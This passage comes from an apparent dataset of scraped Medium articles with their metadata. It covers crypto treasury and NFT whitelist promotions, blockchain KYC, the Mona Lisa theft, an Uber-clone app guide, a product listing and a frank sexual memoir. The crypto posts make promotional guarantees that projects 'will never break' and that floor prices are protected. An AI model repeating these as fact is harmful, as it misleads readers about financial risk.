Timelock contract: https://bscscan.com/address/0xe5a391c3cf5dea40e88bb5de0e4ac9af6905b3c6#code
Proof of Transfer: https://bscscan.com/tx/0x82e6a77b7f3a261de314a04e03c65351b35619fce91a11c0f3fd80d565d7ca82
What this means is that every interaction with the NYA Treasure would require a minimum of 24 hours of waiting time (including transferring of NYA tokens). Most recent projects only have a delay of 6 hours, which we find pretty unfair as we have people of different timezones from all over the world. With 24 hours delay time, now everyone can watch how the NYA meowtain moves.
So in short, the funds are SAFU.
How would we use the Funds?
As mentioned in the previous post, 100% of the funds would be given to the community. The team receive a portion of the funds only when users claim their NYA tokens.
We’ve used the first bit of the Treasury as the rewards for liquidity mining. That would run for 30 days. The same thing would follow for future rewards. We are also looking at getting code audits from reputable code auditing companies. That, would be a first true usage of the dev funds. We’re also planning to do some giveaways on Twitter.
We Showed Our Moves
With the token minter burned and all the remaining funds transferred to the treasury, we’re set to fly.
We have a lot of work to do. Let’s make Nyanswop great again 😸
Follow us on Twitter for the latest updates.
Twitter: https://twitter.com/nyanswop | https://medium.com/@nyanswop/nya-treasury-formed-50826a393652 | [] | 2020-10-16 09:22:58.240000+00:00 | ['Binance', 'Blockchain', 'Defi', 'Binance Smart Chain', 'Cryptocurrency'] |
What can the sweet potato tell us about our ancestors' worldviews? | What can the sweet potato tell us about our ancestors' worldviews?
I started jotting these notes down in May 2020. I came to revisit it this December.
This is an invitation to read the following article and then find the patterns and connect the subtle dots of the past, present and future:
Polynesian Seafarers ‘Discovered’ America Long Before Europeans, Says DNA Study, By Bryan Nelson, Updated May 12, 2020
John Webber, —1793, Wikipedia
Take a moment and consider our worldviews… our ancestors’ worldviews. And allow them to tell us things about ourselves.
While reading the Treehugger post on Polynesian seafarers, I find it interesting what the history of the sweet potato tells us about the dynamics between our ancestors who crossed the oceans and seas and the difference in their worldviews.
I have Filipino, Chinese and European ancestors. I now live on colonized lands of the Americas.
Who were our ancestors? What were their worldviews?
The worldview of my Filipino ancestors is one of deep interconnection (interbeing — kapwa, interbeingness—pakikipagkapwa) with Nature and the Earth and of peaceful multicultural exchange with those different from them. Filipinos live on an archipelago in the Pacific. They live in Asia.
My ancestors are Asian and Pacific Islanders. My ancestors interacted and are related with Polynesians.
My Spanish ancestor came from Europe, crossed the Atlantic, crossed America, and then came via the Spanish galleons that crossed the Pacific coming to the archipelago renamed “the Philippines. The worldview of my colonizer Spanish ancestor and his people was of hierarchy, separation, ownership, dominion, survival of the strongest, imperialistic and of privilege by race.
My Chinese ancestor came to the Philippines as a merchant…
So when I read the article about the sweet potato I considered a lot of things.
After reading about the sweet potato DNA evidence (Polynesians have grown sweet potatoes far back as 2500 years) it occurred to me that:
The relationship between ancient Pacific Islanders and the ancient Americans was of multicultural exchange.
Polynesians “discovered” when they made early contact with the natives and lands of America (not called “American” back then 🤔).
The Polynesians made long voyages over the Pacific Ocean, and landed in this “new-found land” to gather supples—food and water… to make peace with the people of the land, not conquer them and take their land.
As ocean voyagers, Polynesians came to make exchange — fresh water, food, livestock, and very likely human relationships. They didn’t come to conquer new lands.
The dynamic between European colonizers and the Americas’ land and people is dynamic is totally different.
Almost 500 years ago the Europeans “discovered” land west of the Atlantic ocean and Euro-centric American history began — they renamed the lands “the Americas” and instead of multicultural exchange they established dominion and imperial conquest.
Western-centric modernization, consumerism and capitalization of resources and land are today called progress. The genocide, aggression and destruction inflicted by European and Western colonizers are dark history, uncomfortable topics of conversations among academics and ordinary people.
(China is a colonizer today… I have Chinese blood too) | https://medium.com/@omehra/what-can-the-sweet-potato-tell-us-about-our-ancestors-worldviews-cb5204b79204 | [] | 2020-12-18 10:12:29.640000+00:00 | ['Interbeing', 'Worldview', 'Connection', 'Privilege', 'Imperialism'] |
Blockchain Only Solves Part of the Fraud Problem | Blockchain Only Solves Part of the Fraud Problem
As the world becomes smaller and technologies more advanced, cases of fraud have skyrocketed. In the UK, fraud costs the economy a staggering £193 billion a year — equating to more than £6,000 lost per second every day. Meanwhile, in the US, the Federal Trade Commission received more than 2.1 million fraud reports from consumers in 2020,
Blockchain over the last half-decade has proven that the distributed ledger technology goes way beyond digital currencies. The value of blockchain in being able to reduce financial transaction risk, fraud and cost amongst multiple parties with a trusted, decentralized digital ledger; has not gone unnoticed or unused.
Blockchain technology offers integrity, traceability, transparency and of course, security. But is this enough? The rise of cryptocurrency and the development of blockchain fuelled exchanges meant growth in money laundering activities.
In 2019, criminal entities laundered approximately $2.8 billion through crypto asset exchanges. Whilst banks have a heavily-regulated and distinct global system of legal protections and obligations, the crypto asset market isn’t as universally regulated.or protected. However, this is changing.
Importance of the KYC Process
Yotam Namir, the CEO of Tech View, a compliance company that operates Cointandem, the digital and blockchain service, spoke of the importance of the KYC process in the prevention of fraud in the blockchain environment.
“Blockchain goes a long way to help solve the growing problem of fraud but for that can only be truly affected in the crypto asset space with a KYC ( Know Your Customer) process in place within a universally regulated environment.”
“At Cointandem we are regulated and operate a strict KYC process which means that everything is transparent and safe for the user. As it should be.”
Technology and Adoption Will Advance
Looking beyond the crypto asset market, once technology and adoption improves, the KYC will be fully fuelled by blockchain technology.
Institutions and governments are embracing blockchain technology. El Salvador recently became the first country to make Bitcoin legal tender, and as each day passes blockchain technology creeps further into our lives.
Preventing the growing menace of fraud in the blockchain environment, however, at present, requires a rigid and transparent KYC process, for the benefit of everyone. | https://medium.com/@social-30673/blockchain-only-solves-part-of-the-fraud-problem-8e0c207a4abd | ['Jacob T'] | 2021-06-17 13:09:01.073000+00:00 | ['Tech View', 'Fintech', 'Compliance', 'Yotam Namir', 'Cointandem'] |
How a Crime Made The Mona Lisa Famous | How a Crime Made The Mona Lisa Famous
It benefited from an unintentional marketing campaign.
Photo by Juan Di Nella on Unsplash
The Mona Lisa sucks. Yeah, I said it, sucks.
Go walk through Le Louvre. The museum is filled with thousands of priceless paintings. Humanity will never see comparable achievements again.
So many pieces appear touched by the hand of God.
It was my first time in Europe. The long line that surrounded the building was well worth the wait.
I marveled at Napoleon’s apartment, his ceilings covered in art.
My pupils dilated when I got to the Raft of Medusa.
This painting is huge, by the way. Artist: Théodore Géricault Wikimedia Commons
Then, you’ll eventually arrive in an overcrowded room. There will be a mob of people pushing towards this painting like it’s the last raft off the Titanic.
Their cell phones will be held in the air. They’ll be whispering in wonderment.
It couldn’t be more underwhelming.
In fact, if you are standing there and you do a 180-degree turn:
The Wedding at Cana greets you. Which I’d argue is much more technically impressive.
Now, I acknowledge that art is subjective. But more than a few of you will be sorely disappointed if you expect the Mona Lisa to blow your mind.
In fact, if you were to ask Da Vinci himself, “What was your best painting?” I’d wager he wouldn’t choose the Mona Lisa.
In fact, the Mona Lisa was a relatively unknown painting until 1911. On the morning of August 21 of that year, three men snuck out of the museum carrying the Mona Lisa in a bag.
It was 28 hours later when someone noticed it missing on the wall. Up until that point, it was not much of a standout. It was in a hallway, sandwiched between rows of other paintings.
The missing Mona Lisa. Source: histomania
The story quickly broke that the Mona Lisa had been stolen. It spread across France, and then international outlets began covering the story.
The New York Times picked up on it as well, as a worldwide manhunt ensued.
The thieves had been three Italian men. The main thief, Vincenzo Peruggia, was a handyman for Le Louvre. He’d waited in a closet until the museum had closed. Then, after hours, he’d snuck out to snatch the painting.
He was unable to sell the painting right away because of how widespread the news coverage was.
Source: Pic by Vintage News
In fact, his theft proved to be the ultimate marketing campaign. The mystery surrounding the painting’s disappearance led to countless conspiracy theories and hypotheses on who had it.
There were countless wormhole storylines that kept springing up too. French poet Guillaume Apollinaire, who is the father of surrealism, was arrested as a suspect, due to previous statements saying that Le Louvre should be burned down.
Later, Picasso was arrested, under the accusation of having stolen the painting. But was later cleared. (Think about how much publicity these news articles would’ve generated.)
The Mona Lisa was ultimately recovered 28 months later, when the handyman, Peruggia, got tired of holding it and tried to sell it to a local art dealer, who turned him in to the police.
Peruggia went on to serve eight months in prison. He’d claimed that he stole it because he felt it belonged back in Italy. Investigators claimed he wanted to make money off a replica business, which would have increased in value after the theft.
Today, the Mona Lisa sits secured in a way that no other painting in that museum is, guarded by bulletproof glass.
Da Vinci would have never imagined that one of his paintings would be the subject of a worldwide manhunt. The publicity was earth-shaking. Every major newspaper in the world had pictures of the Mona Lisa in it. Billions suddenly wondered who had his painting. And is there ever a greater feeling of importance? That your art is the subject of one of the greatest crimes of the 20th century?
No artist review, commercial, or branding campaign could ever match what that handyman’s theft did for the Mona Lisa.
Nothing drives awareness like a good old fashioned museum heist.
So now you have a fun party fact to rattle off: the Mona Lisa is only mega-famous because it was stolen and newspapers talked about it for two years straight. | https://medium.com/better-marketing/the-mona-lisa-is-meh-unintentional-pr-made-it-famous-d18a47e1864c | ['Sean Kernan'] | 2020-05-05 19:48:11.887000+00:00 | ['Humor', 'Art', 'Life', 'Life Lessons', 'Marketing'] |
How To Make an App Like Uber in 2021: Cost, Business Model, Features, Process, etc. | Undoubtedly, the evolution of incredible taxi booking app development has taken the world by storm. And believe me, if you are a taxi app owner, then you may become a billionaire in the upcoming years.
With the fact that the ride-hailing market is expected to generate revenue of $31,094 million in 2021 and projected to grow at 15.81% CAGR and result in a volume of $55,924 million by 2025, it’s the right time to be a part of this evolving industry.
Wondering why there is a sudden shift in the statistics of the car-hailing industry?
The way people are moving around the places has been drastically changed. With the fact that the rising population is swiftly eating away the open spaces in urban cities, worsening the traffic conditions around and parking spaces are quickly going full, therefore, more and more car owners are inclining towards on-demand taxi booking services for hassle-free travel.
And in the wake of such a scenario, it is fair enough to predict that the future of the ride-hailing industry seems to be promising and at the boom.
While talking about the on-demand taxi booking services, Uber has emerged as the greatest inspiration among aspiring entrepreneurs and giving the right direction to the other startups. Its magnificent success and annual revenue in millions is the greatest reason that cab owners are coming up with a replica of this mobile app.
But, the bitter truth of the reality is they fail to survive!
If you are also thinking that entering the e-hailing industry is just about hiring the mobile app development company that can successfully replicate the app clone of Uber and you will start making the revenue of millions, then you are going to create a blunder for you.
Yes, you read it right!
While the existing players of the market like Uber, are already providing the best features to the market. And being a most reputed and trusted on-demand app, why should one rely on your app providing the same feature set?
This means, to become a successful player in the market, you need to:
Have a well-planned on-demand mobile application that aims to improve the services and solve maximum customer pain points.
Bring unique ideas, features, and functionalities to the app.
Test and probe into the less explored areas of the ride-hailing segment to cause a market shift.
But before you attempt anything groundbreaking, it’s always worthwhile to perform market research and analysis to gather valuable facts and determine the scope of your app idea.
If you are wondering how to kick-start your online taxi booking app like Uber in the right way, then this blog is for you.
Here are the Key Highlights of the Blog:
Perspectives of Taxi Booking App Market and Its Scope in the Global Market
How To Make Your Taxi Booking App Complete With Uber?
How To Build Your Taxi Booking App Like Uber With React Native?
How Much It Will Cost to Create a Ride-Sharing app like Uber?
Before we get into the tips of launching a winning taxi-booking app, the process of developing an Uber app, and the business model, it’s important to understand the scope and prospects for taxi apps in the global market.
Let’s begin with it!
Perspectives of Taxi Booking Mobile App Market- Growth, Trends, Covid-19 Impact And Future
The rising demand for ride-hailing and ride-sharing services has made the taxi booking industry one of the longest-running industries contributing to the world’s economy. The sudden surge in on-demand ride-booking services has successfully taken over the conventional taxi booking market.
Here are the statistics supporting our statement!
According to the survey report , a total of 15 million ride-hailing trips happen each day, which is expected to lift to the 100 million mark by 2030.
, a total of 15 million ride-hailing trips happen each day, which is expected to lift to the 100 million mark by 2030. 70% of passengers consider modern taxi booking services as a convenient and quick commuting feature.
consider modern taxi booking services as a convenient and quick commuting feature. In addition, the user penetration in the taxi booking industry is 21.7% in 2021 and is expected to hit 22.9% by 2025 .
In the ride-hailing and taxi segment, the number of users is expected to grow to $ 331.2 million users by 2025 .
The average revenue per user is expected to amount to $103.00 and 26% of total revenue will be generated through online sales by 2025.
In 2017, taxi booking apps like Uber, Lyft, Didi are capturing a significant taxi market share of more than 40%.
In the nutshell: The statistics are clearly portraying the rising graph of taxi booking services and due to such reasons, the number of the taxi-hailing mobile app will also grow. Still, before you get into the app development process or hire a mobile app developer, you can take a moment to conduct your research to gather your market share.
Before you head towards the tips to develop a taxi booking app, I would like you to know some real facts about Uber that made it a giant name in the industry.
Unlock the Real Statistics that Portrays The Success of Uber
Since its inception in 2013, Uber has started forming the benchmark in the field of the taxi booking industry and results in the most demanding taxi booking application.
Here are the statistics to consider:
With an outstanding app structure, the Uber app connects thousands of drivers to millions of gross bookings and generated revenue of $12 million in the recent quarter.
With the in-built GPS feature of the app, the company has an established presence in over 80+ countries worldwide and boasts of over 75 million active riders seamlessly.
With the support of excellent backend and frontend, uber has managed over 5 billion rides.
Now, the most important question comes to your mind is, how to complete your taxi booking app with Uber?
One simple way is to get partnered with a mobile app development company, experienced in creating taxi booking apps.
But, from the business point of view, we have discovered some tactics and tips while working on one of the taxi booking projects in the UAE. Since every market is different, though, it’s important to structure your app with the aim to closely meet the end needs of the market.
How To Make Your Taxi Booking App Compete To Uber?
When it comes to developing a taxi booking app, undoubtedly there are thousands of competitors to beat in the market. However, with over 91 million monthly active users, acquiring 65% of the market share, uber will remain a strong competitor for all taxi-hailing startups. So that’s why here we get straight into the tips that help you compete with Uber.
1. Create a Unique Value Proposition For Your App
The majority of the businesses are mistaken here by assuming that replicating the app clone of Uber will help them generate millions of revenue. Instead, your app for taxi booking service should be attractive for both drivers and riders. And for that, you need to create a value proposition for both sides.
Here are some clues to be used for customers:
Your app should motivate the passengers to use your app by offering something unique that your competitors do not have. And that might be:
Grabbing the free rides or discounts on certain occasions.
A fixed price for common destinations such as airports or railway stations.
In-app multiple payment gateways for cashless transactions.
Determining the estimated duration and cost of the ride.
The option to track the driver arriving.
On the other side, how would you attract the drivers for your app if there are many competitors in the market? Here are a few tips:
Flexible working hours with bonus earnings
Easy procedure of mobile payment
Keeping the entry simple for drivers with zero investment to join the business.
Opportunity to earn more money during peak workload
Insurance coverage to make them feel secure being associated with your company.
If you have hired an app development company, then you can easily discover much more options as they have been into the market and understand the changing needs of the clients as well. Therefore they better serve your unique ideas to add value to your app.
2. Choosing Any Random Technology Will Crash Your Project
Since its inception in 2013, Uber was not that full-fledged app. But with the changing demand of the market and users, they have frequently scaled up their app with additional features and increasing user base.
Launching applications of such complexity involve both client and server-side development and they require a central server to seamlessly manage the several interactions between users, to perform complex calculations, and data storage functions. So one thing here that all businesses have to make sure of is to hire an app developer that can help you build an excellent backend of the app.
But, most businesses often overlook the fact that a beautiful frontend with a poor backend is the biggest failure for your app.
So here are the technologies that we recommend as a pro tip while creating a taxi booking app like Uber:
Technologies to Choose For Backend Development:
The backend system should be developed of:
Node.js;
Python;
Redis;
MongoDB;
Go;
MySQL.
Proposed Technologies for the Frontend development
Here, the choice of the technologies greatly varies on your decision whether you need to build a native taxi booking app or cross-platform.
A native app will be developed by using specific programming languages such as Java/C++ for Android or Objective-C/Swift/C++ for iOS.
A cross-platform or Hybrid app development using React Native, Flutter or HTML, CSS or JavaScript.
In the context of a taxi booking app, using the cross-platform app development frameworks would be the best deal to make your app behave natively while developed with the same codebase.
3. Explode To The Areas Where Uber Has Not Yet Reached!
Never aim to limit your app service to restricted areas. If your budget allows you, then make your app work universally and Uber’s success has proved it. But the surprising part is, Uber still hasn’t covered every country on the globe and that’s where emerging entrepreneurs can take the momentum.
For example, locations like Brunei, Oman, Malta, Iceland or Cyprus have not yet started with Uber yet.
So now you have an idea on how to beat Uber and where to get started!
But how to make a profit from your taxi booking app and make a profit from it?
4. Business Model- Don’t Settle For Single Source Of Earning
No matter how much effort you have poured into the mobile app development solution and what budget you have invested in if it is not generating any revenue for your business.
If you are considering the revenue model of the Uber-like taxi-booking mobile app then keep in in mind it has two sources to earn money:
The app charges a service fee from the drivers in the form of commission that amounts to 20 to 25% of the total ride cost.
Secondly, it conducts marketing campaigns with other businesses.
Apart, here are a few other ways of making additional money:
In the case of aggregator apps, charge a certain amount of service fees from the users and passengers for using this app and booking a taxi through it. These charges are kept hidden and added to the final amount itself.
Make money through the cancellation fees. Once a user cancels a ride, they have to pay a certain amount of money as a cancellation fee.
You can collaborate with multiple brands and promote them effectively on the homepage of your app. In case if you are not charging any money from these third-party businesses then other ways of earning like cost-per-click or cost per mile can be used.
5. Integrate Advanced Features and Functionalities to Your App
Before we dig deeper into understanding the features and functionalities of the taxi booking app, here’s an important piece of information about Uber that you should know. They use two separate apps for passengers and drivers that have been maintained by the super admin dashboard.
But be careful, this segment of your app can be the most expensive phase of your app development. The more features you pick to develop, it adds up the more hours to the development.
So the startups can choose to begin with MVP integrated with all the basic features that too starting with the $10,000 to $12,000+ app development cost.
Here are the basic features that are required to be integrated into a basic to moderate app structure.
But, if you afford to invest a higher budget and want to launch an app with advanced features, then here is the list of advanced features that are recommended to integrate into your app.
Advanced Features to be Incorporated in a Taxi Booking App To Add An Edge To Your Business
Driver Queue Algorithm: This is the most important and advanced feature that assists taxi service owners to get to know about the total number of drivers and taxis available in one place so that through admin they can manage the booking for a cab accordingly.
This is the most important and advanced feature that assists taxi service owners to get to know about the total number of drivers and taxis available in one place so that through admin they can manage the booking for a cab accordingly. Manage Pricing: The cab booking prices are kept fluctuating depending upon the time, day or demand of the cab. So with surge pricing features, app owners can increase the pricing on certain days because of high demand and make better profits.
The cab booking prices are kept fluctuating depending upon the time, day or demand of the cab. So with surge pricing features, app owners can increase the pricing on certain days because of high demand and make better profits. Heat Map View : With this feature in your app, taxi booking app owners can determine the busiest hours of the day and accordingly be able to alot more cars and drivers to that specific location.
: With this feature in your app, taxi booking app owners can determine the busiest hours of the day and accordingly be able to alot more cars and drivers to that specific location. In-App Calling With Number Masking: In case you are not interested in sharing your personal contact details with drivers or vice-versa, then you can hire a mobile app developer that can help you create an in-app calling feature.
In case you are not interested in sharing your personal contact details with drivers or vice-versa, then you can that can help you create an in-app calling feature. Real Time Analytics: This is the most critical feature for the app owners as it allows them to understand how well their app is performing and how many people are using their app and at what point in time.
This is the most critical feature for the app owners as it allows them to understand how well their app is performing and how many people are using their app and at what point in time. Multi-Lingual Support: It can be an incredible feature in your app which allows people from other countries as well to book taxis without the hassle of communicating with the people and asking some to book them a taxi.
It can be an incredible feature in your app which allows people from other countries as well to book taxis without the hassle of communicating with the people and asking some to book them a taxi. Multiple Payment Options: Add the feature to your app to make a payment through multiple options including Paypal, credit/debit card and more. Also with the help of software development companies, you can adopt advanced payment options including online banking, mobile wallets and more. This will make your app very handy and useful.
Add the feature to your app to make a payment through multiple options including Paypal, credit/debit card and more. Also with the help of software development companies, you can adopt advanced payment options including online banking, mobile wallets and more. This will make your app very handy and useful. Push Notifications: Keep your users informed and notify them at each stage of booking. These push notifications also come into use when the user has to be notified about the new offers or discounts being launched by the app.
Keep your users informed and notify them at each stage of booking. These push notifications also come into use when the user has to be notified about the new offers or discounts being launched by the app. Social Sign in/Sign Up: With social media account integration, it becomes easier for users to quickly get started with your app without having to go through with the detailed app registration process. The app can provide access by using the basic information of the social media account.
With social media account integration, it becomes easier for users to quickly get started with your app without having to go through with the detailed app registration process. The app can provide access by using the basic information of the social media account. Fare Calculation: This feature will allow users to quickly calculate the cost of the ride that they are booking for. In fact, one can get to know the amount they would have to pay on the ride before going to avail it.
This feature will allow users to quickly calculate the cost of the ride that they are booking for. In fact, one can get to know the amount they would have to pay on the ride before going to avail it. Bill Splitting: Will it possible to split the bill into two and make the payment of your share from your respective account? Well, it is possible with the bill split feature. This feature will enable them to pay their share separately and keep things transparent.
Will it possible to split the bill into two and make the payment of your share from your respective account? Well, it is possible with the bill split feature. This feature will enable them to pay their share separately and keep things transparent. Multiple Bookings: Gone are those days when one could book a cab by using one account. The modern taxi booking apps can have the feature that enables its users to schedule multiple bookings for themselves, family and friends at the same time.
Gone are those days when one could book a cab by using one account. The modern taxi booking apps can have the feature that enables its users to schedule multiple bookings for themselves, family and friends at the same time. Book A Cab for Friend: You can use your app to book a cab for your friend all by entering that friend’s pickup and drop. Isn’t exciting!
You can use your app to book a cab for your friend all by entering that friend’s pickup and drop. Isn’t exciting! Smartwatch Access: Now smartwatches are the new trends of the town to access everything with the tap on the watch, though, mobile app development companies have even made it possible to book a cab with your watch as well. It is easier to manage your cab booking from your smartwatch and making payments through the same.
The list of advanced features doesn’t end here. The development cost of the taxi booking app with all such advanced features can lift up to $20k to $25k+.
In a nutshell: With above mentioned tips and suggestions, you have an idea of what kind of applications you need to plan to develop. So now let’s resume to the main question of how to develop a taxi booking app with simple and easy steps.
How To Develop a Taxi Booking App Like Uber Using React Native?
To create an app like Uber, you and your taxi app development team should go through the following app development stages:
Stage 1: Technical Audit and Research
Before you get started with the development process, make sure to evaluate your business app idea and analyze the market to determine further scope and opportunities for revenue generation.
Secondly, gather requirements for taxi mobile app development and improvements that can help you discover new ways to create a better product.
Next, design the work scope and develop the project road map and the realistic budget.
Stage 2: Creation of Taxi Booking App Documentation
Now here you need a technical team that will create detailed technical specifications of production functionality, the app architecture and tech stacks to be used in the app development process. They will help you create a project requirement with general functional requirements including how the product must work and what features and functionalities are required.
Stage 3: Developing Your Taxi Booking App Like Uber
The rule of thumb is to divide each phase of coding into different tasks and allot it to the concerned teams based on priority and with a real-time limit. The taxi-booking app developer will conduct testing at the end-stage to fix bugs. And if you are developing it with React Native then you can leverage the hot reload feature that allows you to instantly fix the errors in the live codes.
Stage 4: The Taxi Booking App Deployment
Finally, deploy your taxi booking app to the app store, Google Play or other app marketplaces, so that users can easily download the app and be able to get started with your app. In most cases, app development company provide the support of app deployment with additional app deployment fees. To avoid chasing with any hassle, the app development team can help you deploy it.
How Much Does It Cost To Develop a Taxi Booking App Like Uber?
The process of developing a taxi booking app like Uber starts with building a minimum viable product that meets both demand and supply along with a dashboard with the minimum functionality. It would be a great deal for startups to go for this option as it can be started with the lowest budget including $10,000 to $12,000+.
After the launch of the first version, you can test the strength of the idea, market facilities and end-users needs and upgrade it with advanced features.
Here are the few advanced features along with a cost split that you can consider for the advanced version of your app.
Still how much does it cost you overall? The simple way to calculate the total cost of the app development project is to calculate the number of hours with the per hour cost of the developer.
And the average hourly cost of the developer is greatly varied according to the different locations as mentioned below:
India : $15 to $22/hr
: $15 to $22/hr UAE : $15 to 22/hr
: $15 to 22/hr USA : $50 to $150/hr
: $50 to $150/hr Europe: $80 to $150/hr
To get the real estimation of the taxi booking app development, it is worth getting in touch with the app development company. They will evaluate the app idea and accordingly suggest you the best options.
Ending Note
To end this blog, it is fair enough to say that Uber has acquired the biggest segments of the taxi booking industry. But still, there is room and space for emerging entrepreneurs. All they need is to hire a mobile app development company that can help in identifying the right niche and focus on building a unique taxi booking app along with the profitable monetization strategy integration.
Hopefully, with this blog, you have picked all the major points and get an idea about the app development cost. But still, we recommend you to get in touch with the experts for solutions that best fit your business needs.
More content at plainenglish.io | https://javascript.plainenglish.io/how-to-make-an-app-like-uber-with-react-6b69fda03f5e | ['Sara Khan'] | 2021-05-20 14:57:45.036000+00:00 | ['JavaScript', 'React Native', 'Uber', 'Mobile App Development', 'Programming'] |
iinfinize Quilted Jacket Cotton Coat Vintage Jacket Traditional Kantha Reversible Coat Medium Size… | iinfinize This beautiful Machine Kantha Quilted Jacket or can be called as Coat is made From Vintage Cotton Patola Sari.Front Side Multi color Patchwork Pattern Backing Color Has Black With floral Pattern This is Reversible Jacket and Worn From Both Side Very comfortable to wear in both hot or cold weather Front Side Fabric used is Vintage Cotton Sari Fabric Front Side Has a Two Pockets There can never be same piece. Every piece is a unique one The jacket is filled with surgical cotton and all machine quilted These are made with Vintage Kantha Sari Quilt so there may be little bit imperfections or bit stains on it. These are never perfect but always beautiful.
Care Instructions: Hand Wash
Product : Vintage Patchwork Kantha Jacket Reversible Jacket. Material : Cotton
Color : Multicolor Size : Medium
Wash Care : Hand Wash Dry Wash
Use : Wedding Wear Dress Partywear Jacket Dress Birthday Party Office Restaurant Party Jacket Winter Jacket Patchwork Coat Long Jacket Short Jacket
Note : Actual Product Colours May Vary a little, from the actual product due to the nature of photography & screen resolution settings. | https://medium.com/@nisha-arya1999/iinfinize-quilted-jacket-cotton-coat-vintage-jacket-traditional-kantha-reversible-coat-medium-size-1b4b0a5c1003 | ['Nisha Arya'] | 2021-02-02 08:17:10.277000+00:00 | ['Style', 'Trending', 'Coat', 'Jacket', 'Womensfashionstyle'] |
ReBaked Staking Community invited to join SolNFT Pad Public Whitelist | reBaked is delighted to announce that it is launching a special contest for all community members who have contributed their share to the development of our community, and pledged their BAKED token for staking in the DAO. In order to give back to the community, we are inviting everyone who has staked their $BAKED tokens to qualify for the upcoming SolNFT Pad NFT mint, which is expected during early January.
The new initiative is part of the reBaked project’s effort to reach out to both the community and new venues, making them available to all members. The whitelist form for the SolNFT launchpad will be shared upon staking a snapshot on December 27, at 12:00 PM UTC.
Given the fact that we have been allocated more slots, everyone who also has 10000 $BAKED in a wallet (not exchange) can also participate. They need to hold the tokens until the public whitelisting event.
There are 2 ways to qualify for guaranteed public minting:
Stake 25k $BAKED tokens —Due to the festive season we will extend this deadline until January 3rd, 2022 12:00 PM UTC — In case you need to learn how to stake your $BAKED tokens, please refer to our documentation: https://docs.rebaked.com/staking/staking-and-dao-participation-eligibility
or,
Hold 15k $BAKED tokens in a wallet- Not Exchange — In case you want to purchase $BAKED tokens, please refer to this guide https://docs.rebaked.com/how-to-buy-baked-token
👉👉In order to participate, join here:👇
https://gleam.io/6mumN/solananft-pad-and-rebaked-tokenbaked-stake-contest
A total of 500 whitelist winners will be selected at the end of the competition. All whitelist winners are able to participate in the Public Mint Round — with a 100% guarantee.
Users need to ensure that their Twitter account has a profile picture, otherwise, it will be detected as spam. Exchange wallet addresses are not allowed for participation.
The SolanaNFT Pad is a brand new NFT launch platform based on community governance. It aims to launch some high-quality NFT projects. Because of its unique economic model, projects launched on SolanaNFT Pad will never break — according to the Solana NFT Pad team. Solana is an ecological, high-quality NFT project launchpad, the platform is divided by NFT as a hierarchical mechanism. The SolanaNFT is the first NFT launchpad that signifies NFT holders will have privilege-level credentials.
Solana NFT Pad carries out rigorous audits to protect its consumers. 20% of mint revenue will be locked in the regulation fund to ensure projects to fulfill their promises. 50% of the total NFT Mint funds from Solana NFT Pad platform will be used on Sweeping the floor of initial joint partners’ NFT on the trading market. The swept NFT will be airdropped to all eligible platform NFT holders.
Among the advantages offered to the SolanaNFT pad is the establishment of the Public Fund Regulation account, and the project party’s MINT funds will be released in batches according to the project party’s performance stage. All projects launched on the platform will have a minimum floor price guarantee that is no less than 20% of the initial mint price to maintain a healthy market condition. SolNFTPad will also assist the project party to provide continuous NFT empowerment, allowing endless possibilities for improvement.
The reBaked team is delighted to have the ability to partner with the SolanaNFT platform and offer community members the opportunity to partake in a joint contest. It is the firm belief of the development team that such partnerships not only give community members valuable opportunities but also foster a spirit of unison and collaboration on the decentralized market. We are already planning numerous initiatives with the SolanaNFT platform, that will be released with the New Year- Stay tuned!
We ❤️ Creative People +Startups
Got an idea? Build it with the support of reBaked — Reach out today:
Community | Twitter| Youtube | Medium |Announcements | https://medium.com/rebakedinc/rebaked-staking-community-invited-to-join-solnft-pad-public-whitelist-e5cae726dbb6 | ['Nikos Rebaked'] | 2021-12-29 08:03:17.422000+00:00 | ['Solana', 'Solana Nft Marketplace', 'Nft Marketplace', 'Nft Collectibles', 'Nft'] |
Becoming a Slut Without Shame | Becoming a Slut Without Shame
Dismantling patriarchal power by removing shame from language
Photo by Martin Lee on Adobe Stock
As a high school freshman, I walked down the hallway in my cheerleading uniform on a Friday morning. Other students hurled the word slut at me more times between my locker and the classroom door than I could count. I kept my head down, looking at the speckled flooring, my pigtails covering my face.
Ryan and I dated for a few weeks. The night before, I let him finger bang me in his bedroom when we made out. I remember my head spinning during that first consensual sexual experience. I remember the warmth of trusting someone enough to let him in. I remember the shame of the following morning.
He told his friends I’d let his penis enter me instead of just his index finger.
So, I was a slut because I had pre-marital sex (that I didn’t have). I was labeled, I was filthy; I was unworthy of love and kindness. The label followed me until graduation.
Slut.
I used to hate that fucking word.
The funny thing was that I never had penetrative sex (sexual assault doesn’t count; it’s not sex; it’s violence). Not until I dated Chris for over two years and the two of us decided to take our fooling around to the next level. We discussed it, found a free clinic for birth control and condoms, and made sure we were safe.
Now, as a parent of young adult women (and a couple of tiny humans), I couldn’t ask for more than what my teenage self did to prepare and keep myself safe. That behavior is not slutty — it’s sexual agency and ownership.
But, I felt nothing but shame surrounding sex.
The use of the word slut as a shaming mechanism worked decidedly well. I remained afraid to explore my sexual self after high school. I married the second man who saw me naked (don’t worry, I’ve since corrected that problem).
I let fear and shame surrounding sexuality control my life and decision making. I let the patriarchal misuse of language make me small.
The thing about making yourself smaller is that when you shrink something the size of a sensual goddess into a good-girl box, pressure builds. Pressure is always the precursor to an explosion. So, I exploded.
Towards the end of my first marriage, I slept with a married man twenty-two years my senior. He made my body sing like a well-tuned piano, and I loved sex with him more than my grandmother’s German chocolate cake.
The night my then-husband found out about the affair, he called me a slut. He tried to force me to give him a blowjob while using words like whore, bitch, and cunt. My instinct was to cower, apologize, and stuff myself back into the good-girl box. But, I no longer fit inside.
Here’s the thing, my ex-husband visited a plethora of sex-workers while we were married. When I found out, I asked for counseling. When he found out about my affair, he used language to try to shame me. The patriarchy uses language to control women. But, this time, it didn’t work.
I’d already begun the work of living shamelessly.
Shortly after, I moved out of the house with a baby, a pack and play, and a suitcase.
I read books such as Pussy by Regena Thomashauer and Cunt by Inga Muscio. I danced naked in my living room. I bought vibrators, dildos, and lube. I got a membership to a porn site. I let my curls go long and wild. I let myself grow and take up more space in this world.
Then, I fucked my way out of shame. | https://medium.com/sexography/becoming-a-slut-without-shame-86dafc15ebe8 | ['M. C. Frances'] | 2020-12-11 21:29:19.259000+00:00 | ['Life Lessons', 'Women', 'Feminism', 'Empowerment', 'Sexuality'] |
Top 10 tip for baby potty | 1. Be prepared
Your toddler might enjoy a special shopping trip to choose a potty or toilet training seat. You can also encourage them and get them excited about potting training by letting them choose their own pants, knickers or pull-ups.
